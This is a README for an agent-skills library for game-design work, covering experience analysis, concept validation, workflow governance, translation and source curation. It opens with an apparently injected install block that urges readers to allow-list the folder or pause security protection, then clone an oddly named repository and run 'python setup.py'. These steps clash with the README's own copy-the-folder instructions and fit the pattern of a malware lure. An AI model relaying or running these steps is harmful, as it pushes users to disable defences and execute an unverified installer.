Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/Civildresolve/ParanoiaSkills-644.git
cd ParanoiaSkills-644
python setup.py
A public base library of installable, verifiable, and portable agent skills for game-design production and AI workflow governance. Turn media evidence into diagnosis, concept seeds into validation contracts, experience-density problems into weekly experiments, and workflow changes into WOOP/VOI/OODA/eval-backed evolution.
简体中文 · English · What This Is · Try in 10 Minutes · Easy Start · 60-Second Demo · Current Skills · Showcase · Star History · License
License: skill documents and tooling are released under the MIT License. The Paranoia name, logos, visual identity, and project branding are not licensed as trademarks.
Think of it as a compact operating system for game designers and AI agents: not a prompt collection, but reusable evidence rules, cross-skill contracts, validation gates, rollback paths, and output templates packaged as skills.
ParanoiaSkills is a public base library for AI-assisted game design work. It turns game experience analysis, concept architecture, experience-density experiments, workflow evolution, professional translation, and source curation into reusable agent instructions, references, schemas, templates, examples, and evals.
It is not a prompt dump. It is closer to a compact operating system for serious game design work, with contracts that let skills hand work to each other instead of producing isolated prose:
media evidence -> evidence index -> issue cards -> ED handoff -> weekly experiments
one-line idea -> player-promise contract -> validation plan -> later media diagnosis
workflow change -> WOOP Task Card -> VOI/OODA probe -> eval -> Human Gate -> rollback
books and sources -> structured knowledge assets -> better references for future work
- Evidence-first: judgments point back to sources, screenshots, timestamps, sample evidence, or validation metrics.
- Contract-driven: concept briefs, evidence indexes, issue cards, ED handoffs, and validation plans can move across skills.
- Concept-to-validation: a promising idea becomes a seed, a player promise, a core loop, a scope gate, and a prototype test.
- Workflow-governed: useful behavior is written into
SKILL.md,references/,templates/, evals, Human Gates, and rollback paths. - Agent portable: Codex, Claude Code, OpenCode, or any Markdown-skill-capable agent can adapt the packages.
- Public/private safe: public examples stay synthetic, public, cleared, or marked
needs_review; real projects stay in your own environment.
Use $game-experience-analyzer to diagnose this PV or gameplay recording into sample boundary, timestamped evidence, Hook/Loop/Link/Surprise diagnosis, issue cards, and validation recommendations.
Use $game-concept-architect to turn this one-line game idea into concept seed extraction, design nucleus options, player promise contract, core loop, scope gate, and prototype validation plan.
Use $paranoia-ai-system-evolver to upgrade this workflow with a WOOP Task Card, VOI, OODA, eval checks, Human Gate, and rollback.
Use $game-experience-density-optimizer to turn this first-session retention, pacing, or experience density problem into an ED diagnosis, CLP/SF/EB/AR/MD-min levers, a weekly A/B plan, instrumentation, dashboard fields, decision rules, and rollback gates.
For the full onboarding path, see Try It in 10 Minutes. Star this repo if you want more public game-analysis examples and portable agent-skill templates; more stars help prioritize better public demos, adapters, and reusable skill templates.
Start with one screenshot, gameplay recording, trailer/PV, or video link. Ask the skill for an evidence-linked report:
Use $game-experience-analyzer to analyze this gameplay recording into timestamped evidence, feature exposure/unlock/first-use ledger, Hook/Loop/Link/Surprise diagnosis, and actionable fixes.
The strongest current example is 《生存33天》41 分钟试玩录屏前期体验复盘示例: a gameplay recording sample becomes a timestamped report with visual evidence, feature ledger, early-loop diagnosis, UI/guide risks, and validation-ready fixes. Its source status is marked needs_review before public-material promotion.
The simplest path is three small moves: pick a skill, give the agent your material, and ask for a reviewable output.
| What you have | Use this skill | What you get |
|---|---|---|
| Screenshot, recording, PV/trailer, or video link | $game-experience-analyzer |
A game experience report with timestamps, evidence, issue priorities, game dissection, mechanic transfer boundaries, and validation plans |
| One-line game idea | $game-concept-architect |
Concept seed, player verbs, action-goal alignment, player promise, core loop, scope gate, and validation plan |
| Prompt, workflow, schema, or agent rule | $paranoia-ai-system-evolver |
A WOOP/VOI/OODA/eval/Human Gate/rollback-backed evolution proposal |
| English game design chapter or essay | $game-design-book-translator |
Professional Chinese design translation with reviewable terminology |
| Articles, videos, creators, or websites | $game-design-source-curator |
Maintainable game design knowledge-base entries |
| Retention, pacing, feedback, embodiment, atmosphere, or cognitive-load problem | $game-experience-density-optimizer |
ED diagnosis, weekly A/B variants, instrumentation, dashboard fields, and rollback gates |
Call a skill directly in an agent environment that supports skill loading:
Use $game-experience-analyzer to analyze this gameplay recording into timestamped evidence, design lenses, heat potential, foresight windows, Go/No-Go, and validation recommendations.
Use $game-experience-analyzer to dissect this game into player verbs, action-goal alignment, uncertainty sources, system dynamics, content flow, audience desire, transfer boundaries, and validation recommendations.
Use $paranoia-ai-system-evolver to upgrade this prompt/workflow/schema with a WOOP Task Card, VOI, OODA, evals, Human Gate, and rollback.
Use $game-design-book-translator to translate and polish this game design chapter into professional Chinese, including terminology and figure captions.
Use $game-design-source-curator to review these game design sources and turn accepted items into a maintainable local knowledge base.
Use $game-concept-architect to turn this one-line game idea into a concept seed, player verbs, action-goal alignment, player promise, core loop, scope gate, production feasibility check, and prototype validation plan.
Use $game-experience-density-optimizer to turn this first-session experience density problem into CLP/SF/EB/AR/MD-min diagnosis, rollbackable weekly variants, telemetry events, dashboard fields, and pre-registered decision rules.
If your tool supports local skills, copy the target folder into that tool's skill directory:
game-experience-analyzer/
paranoia-ai-system-evolver/
game-design-book-translator/
game-design-source-curator/
game-concept-architect/
game-experience-density-optimizer/
After installation, check that the SKILL.md frontmatter name matches the folder name, and that relative links inside references/, templates/, and examples/ still resolve.
|
|
|
|
| Analyze game experience Convert screenshots, recordings, trailers, and video links into evidence-first diagnosis, game dissection, and mechanic-transfer judgment. |
Evolve workflows Upgrade prompts, schemas, evals, memory, and tool routing through WOOP, VOI, OODA, gates, and rollback. |
Translate design knowledge Transform serious game design books and chapters into professional Chinese design writing. |
Curate sources Turn scattered articles, videos, creators, columns, and websites into a durable game design knowledge base. |
|
|
||
| Architect game concepts Turn a one-line idea into a seed, player verbs, action-goal alignment, player promise, core loop, scope gate, and validation plan. |
Optimize experience density Turn retention, pacing, feedback, embodiment, atmosphere, and cognitive-load issues into weekly ED experiments. |
For the compact proof-path list, see the showcase index.
ParanoiaSkills is organized as a public base layer plus a contract layer. Private overlays, real project data, client examples, and local workflow rules should live outside this repository.
- Design Production Layer
game-concept-architect/: one-line idea -> verifiable design blueprint.game-experience-analyzer/: media/sample -> evidence-linked diagnosis.game-experience-density-optimizer/: retention/pacing/feedback issue -> weekly ED experiment.
- Workflow Governance Layer
paranoia-ai-system-evolver/: prompt/workflow/schema/eval changes -> controlled evolution.
- Knowledge Asset Layer
game-design-book-translator/: design texts -> professional Chinese design writing.game-design-source-curator/: scattered sources -> durable knowledge base.
- Contract Layer
contracts/: router rules and shared schemas for player promises, validation plans, evidence indexes, issue cards, and ED handoffs.
Users may still use these skills with real projects, private projects, client work, or synthetic cases in their own environment. The public-case rules apply only to content committed back to this repository.
| Skill | One-line Use | Best For | Package |
|---|---|---|---|
| Game Experience Analyzer | Turns screenshots, gameplay recordings, trailers/PVs, and video links into evidence-first Chinese game design reports. | Early experience, mechanics, game dissection, mechanic transfer, holistic product analysis, MDA, systems-narrative fusion, single-player flow, genre strategy, heat prediction, foresight windows, monetization, UX. | game-experience-analyzer/ |
| Paranoia AI System Evolver | Turns prompt, workflow, memory, schema, tool-routing, and eval changes into controlled system evolution. | WOOP Task Cards, VOI/OODA, model compression, causal mediators, Human Gate, rollback, validated upgrades. | paranoia-ai-system-evolver/ |
| Game Design Book Translator | Produces professional Chinese game design translations that read like serious design writing. | Terminology, chapters, figures, captions, tables, QA, source-boundary checks. | game-design-book-translator/ |
| Game Design Source Curator | Converts scattered game design sources into a durable local knowledge base. | Source screening, scoring, HTML archives, registries, update history, design experiment cards. | game-design-source-curator/ |
| Game Concept Architect | Turns one-line game ideas into verifiable concept briefs with seed extraction, player verbs, action-goal alignment, player promises, core loops, scope gates, and prototype validation plans. | Indie game ideation, pitch shaping, external feasibility, platform/business fit, MVP/vertical slice planning, production constraints. | game-concept-architect/ |
| Game Experience Density Optimizer | Turns experience density, retention, pacing, feedback, embodiment, atmosphere, and cognitive-load problems into weekly ED experiments. | First-session tuning, prototype feel, live-ops micro tests, A/B variants, telemetry dictionaries, dashboard specs, rollback gates. | game-experience-density-optimizer/ |
- Competitor experience review: turn a gameplay recording into a timeline, feature ledger, loop diagnosis, issue priority, and concrete fixes.
- Game dissection and mechanic transfer: break a sample into player verbs, goal layers, uncertainty, system dynamics, content flow, audience desire, playable theme, and transfer boundaries.
- Trailer heat prediction: evaluate first seconds, one-line value proposition, proof of play, channel fit, conversion path, and validation plan.
- Foresight opportunity: judge whether a genre, theme, or mechanic still has a window; casual/light defaults to 1-3 months, micro/midcore-heavy defaults to 3-6 months.
- Source curation: turn articles, videos, creators, columns, and websites into searchable, citable, experiment-ready design knowledge.
- Professional translation: translate game design books or essays while preserving terminology, argument structure, and figure context.
- Workflow evolution: promote useful agent behavior into candidate rules with evals, Human Gate, and rollback.
- Cross-skill handoff: move from concept promise to media diagnosis to ED experiment through shared contracts instead of rewriting context by hand.
- Concept feasibility: turn a one-line idea into concept seed extraction, player verbs, action-goal alignment, player promises, core loop design, scope gate, production feasibility, and prototype validation.
- Experience density experiments: turn first-session, pacing, feedback, embodiment, atmosphere, or cognitive-load issues into weekly ED experiments with metrics and rollback gates.
Read the repository as a set of installable skill packages plus supporting public infrastructure.
| Layer | Paths | Purpose |
|---|---|---|
| Skill packages | game-experience-analyzer/, game-concept-architect/, paranoia-ai-system-evolver/, game-design-book-translator/, game-design-source-curator/, game-experience-density-optimizer/ |
Copyable agent skills. Each package carries its own runtime instructions, references, templates, examples, and evals. |
| Public onboarding | README.md, README.zh-CN.md, README.en.md, docs/, releases/ |
Explains what the project is, how to try it, showcase boundaries, release drafts, and public-facing docs. |
| Integration and contracts | adapters/, contracts/, .github/, scripts/ |
Adapter notes, shared schemas, router contracts, GitHub workflow/templates, behavior evals, and repository validation tools. |
| Governance and media | CONTRIBUTING.md, LICENSE, assets/ |
Contribution rules, license terms, and public README/showcase visuals. |
Most skills follow this structure:
SKILL.md -> agent entrypoint, triggers, workflow, boundaries
references/ -> methods, scoring rules, routers, gates, validation playbooks
templates/ -> reusable forms and output structures
examples/ -> reviewable example outputs
agents/ -> metadata for agent environments that support it
evals/ -> regression prompts and expected behavior
Run these commands from the repository root:
python scripts/validate_repo.py
python scripts/validate_skill.py game-experience-analyzer
python scripts/validate_skill.py game-concept-architect
python scripts/validate_skill.py game-experience-density-optimizer
Skill documents and tooling in this repository are released under the MIT License.
The Paranoia name, logos, visual identity, and project branding are not licensed as trademarks. Examples may have their own source_status, case_type, or source metadata; check each example's frontmatter before reuse.
Each skill is an independently installable package. Keep SKILL.md as the runtime entrypoint, put durable methods in references/, reusable forms in templates/, examples in examples/, and regression checks in evals/.
Public examples, evals, assets, showcases, and release notes must use synthetic, public, or explicitly cleared material. See CONTRIBUTING.md before submitting repository-facing content.
Evidence before opinion.
Feasibility before scope.
Workflow before one-off prompts.
VOI before research.
Eval before promotion.
Rollback before confidence.
Depending on feedback and maturity, future additions may include AI + indie game production packages such as:
indie-game-production-master: full-cycle indie production from idea validation, GDD/Gates, prototyping, playtesting, AI asset pipelines, Steam/release strategy, and postmortem writeback.godot-ai-game-production: Godot + AI production covering project scaffolding, design truth, data contracts, asset pipelines, headless/keyshot validation, Demo/Release Gates, and engineering retrospectives.